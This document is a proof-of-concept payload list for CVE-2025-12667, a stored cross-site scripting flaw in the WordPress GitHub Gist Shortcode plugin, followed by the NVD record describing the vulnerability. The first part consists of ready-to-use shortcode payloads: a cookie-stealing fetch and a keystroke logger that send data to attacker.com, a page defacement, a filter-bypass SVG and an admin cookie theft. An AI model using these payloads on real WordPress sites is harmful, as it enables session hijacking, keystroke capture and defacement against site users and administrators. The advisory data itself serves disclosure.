CVE-2025-12667

<!-- WordPress GitHub Gist Shortcode Plugin XSS PoC --> <!-- Requires Contributor-level or higher access --> <!-- Basic XSS Payload --> [gist id='<script>alert(document.cookie)</script>'] <!-- Steal Session Cookie --> [gist id='<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- Keylogger Payload --> [gist id='<script>document.addEventListener('keypress',function(e){new Image().src='https://attacker.com/log?k='+e.key})</script>'] <!-- Defacement Payload --> [gist id='<script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] <!-- Bypass Basic Filters (URL Encoding) --> [gist id='<svg onload=alert(1)>'] <!-- PoC for Admin Cookie Theft --> [gist id='<script>fetch('https://attacker.com/admin_panel?cookie='+btoa(document.cookie),{method:'GET',mode:'no-cors'})</script>']

{"cve": {"id": "CVE-2025-12667", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:49.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GitHub Gist Shortcode Plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the 'gist' shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/github-gist-shortcode/tags/0.2/github-gist-shortcode-plugin.php#L33", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/github-gist-shortcode/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fc6468bf-37b6-4dd7-b2e5-e880e3cc3c32?source=cve", "source": "[email protected]"}]}}